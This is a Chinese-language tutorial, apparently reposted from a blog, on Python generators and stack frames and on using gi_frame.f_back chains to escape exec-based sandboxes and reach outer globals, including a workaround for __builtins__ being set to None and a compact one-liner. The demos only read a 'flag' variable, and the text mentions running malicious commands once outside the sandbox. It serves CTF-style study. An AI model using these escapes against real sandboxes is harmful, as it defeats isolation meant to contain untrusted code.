写点什么

初探 python 栈帧逃逸

  • 2024-12-13
    福建
  • 本文字数:2574 字

    阅读完需:约 8 分钟

前言


以前在一些大型比赛就遇到这种题,一直没时间去研究,现在康复训练下:)


生成器介绍


生成器(Generator)是 Python 中一种特殊的迭代器,它可以在迭代过程中动态生成值,而不需要一次性将所有值存储在内存中。


Simple Demo


这里定义一个生成器函数, 生成器使用yield语句来产生值,每次调用生成器的next()方法时,生成器会执行直到遇到下一个yield语句为止,然后返回yield语句后面的值,也就是a的值


def f():    a = 1    while True:        yield a        a+=1f = f()print(next(f))  # 1print(next(f))  # 2
复制代码


也可以遍历获取所有的自增值


def f():    a = 1    for i in range(1, 100):        yield a        a+=1f = f()for value in f:    print(value)
复制代码


生成器表达式


生成器表达式是一种在 Python 中创建生成器的紧凑形式。类似于列表推导式,生成器表达式允许你使用简洁的语法来定义生成器,而不必显式地编写一个函数。生成器表达式的语法与列表推导式类似,但是使用圆括号而不是方括号。生成器表达式会逐个生成值,而不是一次性生成整个序列。这有利于提高内存的利用率


f = (i+1 for i in range(100))# 可以用next一步步获取值print(next(f))# 也可以遍历的形式获取全部值for value in f:    print(value)
复制代码


生成器属性


gi_code: 生成器对应的 code 对象。

gi_frame: 生成器对应的 frame(栈帧)对象。

gi_running: 生成器函数是否在执行。生成器函数在 yield 以后、执行 yield 的下一行代码前处于 frozen 状态,此时这个属性的值为 0。

gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。

gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。


gi_frame 使用


gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息。


def my_generator():    yield 1    yield 2    yield 3
gen = my_generator()
# 获取生成器的当前帧信息frame = gen.gi_frame
# 输出生成器的当前帧信息print("Local Variables:", frame.f_locals)print("Global Variables:", frame.f_globals)print("Code Object:", frame.f_code)print("Instruction Pointer:", frame.f_lasti)
复制代码


以上例子展示了如何获取生成器的帧信息


栈帧(frame)介绍


在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。(跟 c/c++中的栈类似,懂点逆向知识应该很好理解)


栈帧包含了以下几个重要的属性:f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名。f_globals: 一个字典,包含了函数或方法所在模块的全局变量。f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。f_lasti: 整数,表示最后执行的字节码指令的索引。f_back: 指向上一级调用栈帧的引用,用于构建调用栈。


利用栈帧(frame)逃逸沙箱


原理就是通过生成器的栈帧对象通过 f_back(返回前一帧)从而逃逸出去获取 globals 符号表,例如:


key = "this is flag"codes='''def waff():    def f():        yield g.gi_frame.f_back    g = f()  #生成器    frame = next(g) #获取到生成器的栈帧对象    b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals    return bb=waff()'''locals={}code = compile(codes, "", "exec")exec(code, locals, None)print(locals["b"])  # this is flag
复制代码


逃逸出来我们就可以调用沙箱外的方法来执行恶意命令了


globals 中的__builtins__字段


__builtins__ 模块是 Python 解释器启动时自动加载的,其中包含了一系列内置函数、异常和其他内置对象。


当代码这么设计时:


key = "this is flag"codes='''def waff():    def f():        yield g.gi_frame.f_back    g = f()  #生成器    frame = next(g) #获取到生成器的栈帧对象    b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals    return bb=waff()'''locals={"__builtins__": None}code = compile(codes, "", "exec")exec(code, locals, None)print(locals["b"])
复制代码


这里将沙箱中的__builtins__置为空,也就是说沙箱中不能调用内置方法了,那我们这段代码运行就会报错了(next 方法不能使用),那么该如何代替 next 方法来拿到生成器的值,还记得上面说可以遍历的形式来获取生成器的值:


key = "this is flag"codes='''def waff():    def f():        yield g.gi_frame.f_back    g = f()  #生成器    frame = [i for i in g][0] #获取到生成器的栈帧对象    b = frame.f_back.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals    return bb=waff()'''locals={"__builtins__": None}code = compile(codes, "", "exec")exec(code, locals, None)print(locals["b"])
复制代码


这样可以成功拿到 key 的值,不过这里需要注意的是在给b赋值时,多加了一个f_back,因为我们用这种列表推导式拿到生成器的值,它的 code 对象是不同的:


frame = next(g)<frame at 0x00000235C9718440, file '', line 7, code waff>
frame = [i for i in g][0]<frame at 0x000002708F2ED8C0, file '', line 9, code <listcomp>>
复制代码


列表推到式拿到的生成器的 code 对象是listcomp,所以我们还得拿上一个栈帧,所以需要再f_back一下


一些简便写法


例如:


q = (q.gi_frame.f_back.f_back.f_globals for _ in [1])g = [*q][0]
复制代码


  • 第一行生成器创建时,并不会直接执行,只是存储在内存中。

  • 第二行对生成器解包,解包的同时会触发生成器调用,此时才开始执行 q.gi_frame.f_back.f_back.f_globals。

  • exec 调用时,创建一个新栈帧;生成器 q 被执行时,又创建一个新栈帧。所以当我们拿到 q.gi_frame 时,需要回溯两次才到达 exec 之外。

  • 再拿一个 f_globals,就得到了沙箱外的的 globals


文章转载自:F12~

原文链接:https://www.cnblogs.com/F12-blog/p/18502707

体验地址:http://www.jnpfsoft.com/?from=infoq

用户头像

还未添加个人签名 2023-06-19 加入

还未添加个人简介

评论

发布
暂无评论
初探python栈帧逃逸_Python_快乐非自愿限量之名_InfoQ写作社区